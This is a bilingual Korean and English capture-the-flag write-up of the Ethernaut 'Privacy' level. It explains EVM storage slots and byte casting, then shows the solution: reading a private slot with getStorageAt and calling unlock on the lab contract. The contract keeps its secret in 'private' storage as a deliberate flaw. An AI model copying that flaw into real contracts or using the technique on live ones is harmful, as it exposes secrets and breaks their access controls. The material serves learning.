Ethernaut 12 Privacy
Ethernaut 12 PrivacyEthernaut 12 PrivacyEthernaut 12 Privacy 문제 풀이Ethernaut 12 Privacy writeup
Contents
문제
지문
The creator of this contract was careful enough to protect the sensitive areas of its storage. Unlock this contract to beat the level. Things that might help:
- Understanding how storage works
- Understanding how parameter parsing works
- Understanding how casting works
Tips:
- Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.
코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}배경지식
private은 Solidity 코드 관점의 접근 제한자다. 외부 컨트랙트에서 data() 같은 getter로 직접 읽을 수 없고, 상속 컨트랙트에서도 접근할 수 없다는 뜻이다.
하지만 블록체인에 저장된 스토리지 자체가 암호화되는 것은 아니다. 컨트랙트의 상태 변수는 EVM 스토리지 슬롯에 저장되고, 특정 슬롯 번호를 알면 web3.eth.getStorageAt으로 값을 읽을 수 있다. 그래서 private을 비밀 저장소처럼 쓰면 안 된다.
EVM 스토리지는 32바이트 단위 슬롯으로 구성된다. uint256, bytes32처럼 32바이트를 전부 쓰는 값은 슬롯 하나를 단독으로 차지한다.
반대로 bool, uint8, uint16처럼 32바이트보다 작은 값들은 가능하면 같은 슬롯에 함께 저장된다. 이때 변수 선언 순서대로 슬롯에 배치되고, 작은 값들은 한 슬롯 안에서 오른쪽부터 채워진다.
이 문제의 변수 배치는 다음과 같다.
// slot 0
bool public locked = true;
// slot 1
uint256 public ID = block.timestamp;
// slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
// slot 3, 4, 5
bytes32[3] private data;따라서 data[0]은 slot 3, data[1]은 slot 4, data[2]는 slot 5에 저장된다.
고정 길이 바이트 타입끼리 변환할 때는 정수 타입과 헷갈리면 안 된다. bytesN에서 bytesM으로 변환할 때 N > M이면 오른쪽 바이트가 잘리고 왼쪽 바이트가 남는다.
예를 들어 bytes32 값을 bytes16으로 바꾸면 앞 16바이트만 남는다.
bytes16(data[2])따라서 unlock에 넣을 _key는 slot 5에 저장된 32바이트 값의 앞 16바이트다.
문제 코드 분석
bool public locked = true;레벨을 통과하려면 locked를 false로 바꿔야 한다. 직접 값을 바꾸는 public setter는 없으므로 unlock을 통과해야 한다.
locked는 첫 번째 상태 변수이기 때문에 slot 0에 저장된다. slot 0을 읽으면 마지막 값이 01이고, 이는 true다.
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;flattening, denomination, awkwardness는 모두 작기 때문에 slot 2 하나에 packing된다. 그 다음에 나오는 bytes32[3] data는 각 원소가 32바이트라서 slot 3부터 하나씩 차지한다.
따라서 data[2]는 다음처럼 계산된다.
slot(data[2]) = slot(data[0]) + 2 = 3 + 2 = 5data가 private이어도 이 슬롯 값은 외부에서 읽을 수 있다. private은 getter 생성만 막고 스토리지 조회는 막지 못한다.
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}비교에 쓰이는 값은 bytes16(data[2])다. data[2]는 bytes32이고 _key는 bytes16이므로, 비교 전에 data[2]의 앞 16바이트만 남긴다.
그러니 slot 5를 읽은 뒤 앞 16바이트만 잘라서 unlock에 넘기면 된다.
풀이
data[2]는 slot 5에 있으므로 이 슬롯만 읽으면 된다.
await web3.eth.getStorageAt("0xF5149Bd38aE9B0634ADdE17A238c1517f7191E69", 5)
// "0x0c70f4949f7ffbf1d2bfd62a63795d7d3f6d6e787d928794f25c6c0a6848af62"unlock은 이 값을 bytes16으로 바꿔 비교한다. bytes32 -> bytes16 변환에서는 앞 16바이트만 남으므로 key는 0x0c70f4949f7ffbf1d2bfd62a63795d7d다.
익스플로잇
await contract.unlock("0x0c70f4949f7ffbf1d2bfd62a63795d7d")
{tx: '0x28cf6568ad380b471d1e07979220c46eaaa2b04dacb3e3502d12a84fefaefd43', receipt: {…}, logs: Array(0)}
await contract.locked()
false
Challenge
Prompt
The creator of this contract was careful enough to protect the sensitive areas of its storage. Unlock this contract to beat the level. Things that might help:
- Understanding how storage works
- Understanding how parameter parsing works
- Understanding how casting works
Tips:
- Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}Background
private is a Solidity-level access modifier. It means you cannot read the variable directly from an external contract with a getter like data(), and inheriting contracts cannot access it either.
But the storage on the blockchain is not encrypted. A contract's state variables are stored in EVM storage slots, and if you know a specific slot number, you can read its value with web3.eth.getStorageAt. So private should not be used as a secret store.
EVM storage is organized into 32-byte slots. Values that use all 32 bytes, like uint256 or bytes32, occupy a slot on their own.
Values smaller than 32 bytes, like bool, uint8, and uint16, are stored together in the same slot when possible. They are placed into slots in declaration order, and the small values fill a slot from the right.
The variable layout of this challenge:
// slot 0
bool public locked = true;
// slot 1
uint256 public ID = block.timestamp;
// slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
// slot 3, 4, 5
bytes32[3] private data;With this layout, data[0] is stored in slot 3, data[1] in slot 4, and data[2] in slot 5.
Fixed-size byte types do not convert like integer types. When converting from bytesN to bytesM with N > M, the right bytes are truncated and the left bytes remain.
For example, converting a bytes32 value to bytes16 keeps only the first 16 bytes.
bytes16(data[2])So the _key to pass to unlock is the first 16 bytes of the 32-byte value stored in slot 5.
Challenge code analysis
bool public locked = true;To pass the level, you have to change locked to false. There is no public setter to change the value directly, so you have to pass unlock.
Since locked is the first state variable, it is stored in slot 0. Reading slot 0 shows the last value is 01, which is true.
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;flattening, denomination, and awkwardness are all small, so they are packed together into slot 2. The bytes32[3] data that follows has 32-byte elements, so it takes one slot each starting from slot 3.
The slot of data[2]:
slot(data[2]) = slot(data[0]) + 2 = 3 + 2 = 5Even though data is private, this slot can be read externally, because private only stops the getter from being generated.
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}The value used in the comparison is bytes16(data[2]). data[2] is bytes32 and _key is bytes16, so before comparing it keeps only the first 16 bytes of data[2].
So after reading slot 5, truncate it to the first 16 bytes and pass that to unlock.
Solution
Since data[2] is in slot 5, just read that slot.
await web3.eth.getStorageAt("0xF5149Bd38aE9B0634ADdE17A238c1517f7191E69", 5)
// "0x0c70f4949f7ffbf1d2bfd62a63795d7d3f6d6e787d928794f25c6c0a6848af62"unlock converts this value to bytes16 for the comparison. Since the bytes32 -> bytes16 conversion keeps only the first 16 bytes, the key is 0x0c70f4949f7ffbf1d2bfd62a63795d7d.
Exploit
await contract.unlock("0x0c70f4949f7ffbf1d2bfd62a63795d7d")
{tx: '0x28cf6568ad380b471d1e07979220c46eaaa2b04dacb3e3502d12a84fefaefd43', receipt: {…}, logs: Array(0)}
await contract.locked()
false